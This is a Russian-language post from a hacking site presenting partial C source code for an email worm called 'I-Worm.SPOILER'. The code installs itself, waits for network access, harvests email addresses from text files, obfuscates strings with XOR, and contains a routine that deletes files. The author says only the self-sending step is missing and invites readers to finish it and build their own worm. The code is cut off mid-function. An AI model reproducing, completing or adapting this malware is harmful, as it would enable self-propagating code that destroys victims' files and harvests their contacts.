Информация сайта компьютерной безопасности <<< Hack Style >>> made by [PVL] KAPMAH in 2003 "ПОЧТИ" рабочий сырец - не бойтесь почти это значит у червя нет только отправки а пока он делает: инсталирует себя в систему и висит ожидая выхода в сеть - дождавшись ищет фаилы *.txt (можно любые) и находит в них E-mail адреса - а потом ......... должен отсылать себя но здесь он этого не делает а остальное все работает отлично ..... да еще некоторые строки зашифрованы от лишних глаз (конечно не ваших просто расшифровывать лень) почему тогда не все зашифрованы ? да яж говорю сырец горячий прям с компила снял... так что вам осталось прописать процедуру отправки (которую мне так лень было дописать) и вы получите СВОЕГО (!!!) червячка ... хотя и этот код уже несет в себе диструкцию !!! #include #include #include BOOL CALLBACK WindowProc(HWND ,UINT ,WPARAM ,LPARAM); typedef BOOL (WINAPI* INETCHECKPROC) (LPDWORD lpdwFlags, DWORD dwReserved); typedef void (*LPSEARCHFUNC)(LPCTSTR lpszFileName); typedef DWORD (WINAPI *LPREGISTERSERVICEPROCESS) (DWORD, DWORD); static BOOL CALLBACK DialogFunc(HWND hwndDlg, UINT msg, WPARAM wParam, LPARAM lParam); BOOL ONCREATE(HWND hwnd); BOOL RUN(char *NAME,char *VIRNAME,int END); BOOL ScanFile(char *f); BOOL SEND(char *ATTACH,char *EMAIL); BOOL SearchFiles(LPCTSTR lpszFileName,BOOL bInnerFolders,BOOL spoil); int isgood(char a); int islisten(char a); char *DECODE(char *TEXTCODE); UINT_PTR IDT_NETTRAP; char *szClassWindow="WinClass",szPath[0x100]; char *REGNAME,*REGTITLE,*TITLE="I-Worm.SPOILER"; char *DECODE(char *TEXTCODE){ char K=9*111; for(int i=0; ;i++){ if(TEXTCODE[i]=='\0') break; TEXTCODE[i]=TEXTCODE[i] ^ K; } return TEXTCODE; } BOOL SearchFiles(LPCTSTR lpszFileName,BOOL bInnerFolders,BOOL spoil) { LPTSTR part; char tmp[MAX_PATH]; char name[MAX_PATH]; HANDLE hSearch = NULL; WIN32_FIND_DATA wfd; memset(&wfd, 0, sizeof(WIN32_FIND_DATA)); if(bInnerFolders==TRUE) { if(GetFullPathName(lpszFileName, MAX_PATH, tmp, &part) == 0) return FALSE; strcpy(name, part); strcpy(part, "*.*"); wfd.dwFileAttributes = FILE_ATTRIBUTE_DIRECTORY; if (!((hSearch = FindFirstFile(tmp, &wfd)) == INVALID_HANDLE_VALUE)) do { if (!strncmp(wfd.cFileName, ".", 1) || !strncmp(wfd.cFileName, "..", 2)) continue; if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { char next[MAX_PATH]; if(GetFullPathName(lpszFileName, MAX_PATH, next, &part) == 0) return FALSE; strcpy(part, wfd.cFileName); strcat(next, "\\"); strcat(next, name); SearchFiles(next,TRUE,spoil); } } while (FindNextFile(hSearch, &wfd)); FindClose (hSearch); } if ((hSearch = FindFirstFile(lpszFileName, &wfd)) == INVALID_HANDLE_VALUE) return TRUE; do if (!(wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) { char file[MAX_PATH]; if(GetFullPathName(lpszFileName, MAX_PATH, file, &part) == 0) return FALSE; strcpy(part, wfd.cFileName); if(spoil!=TRUE){ScanFile(file);}else{ MessageBox(NULL,file,"УДАЛИТЬ ?",0); //а вот и диструкция ... DeleteFile(file);} } while (FindNextFile(hSearch, &wfd)); FindClose (hSearch); return TRUE; } int isgood(char a) { if (a >= 'a' && a <= 'z') return 1; if (a >= 'A' && a <= 'Z') return 1; if (a >= '0' && a <= '9') return 1; if (a == '.' || a == '@' || a == '^' || a == '-' || a == '_') return 1; return 0; } int islisten(char a) { if (a == '.') return 1; if (a >= 'a' && a <= 'z') return 1; if (a >= 'A' && a <= 'Z') return 1; return 0; } BOOL ScanFile(char *f) { FILE *file=fopen(f,"r"); unsigned long startpos=0; if (file == NULL) return FALSE; while(1) { char buf[2]; memset(buf,0,2); fseek(file,startpos,SEEK_SET); fread(buf,1,1,file); startpos++; if (feof(file)) break; if (*buf == '@') { char email[256],c,d; unsigned long pos=0; while(1) { unsigned long oldpos=ftell(file); fseek(file,-1,SEEK_CUR); c=fgetc(file); if (!isgood(c)) break; fseek(file,-1,SEEK_CUR); if (oldpos == ftell(file)) break; } for (pos=0,c=0,d=0;pos<255;pos++) { email[pos]=fgetc(file); if (email[pos] == '.') c++; if (email[pos] == '@') d++; if (!isgood(email[pos])) break; } email[pos]=0; if (c == 0 || d != 1) continue; if (email[strlen(email)-1] == '.') email[strlen(email)-1]=0; if (*email == '@' || *email == '.' || !*email) continue; for (pos=0,c=0;pos~ www.HackStyle.narod.ru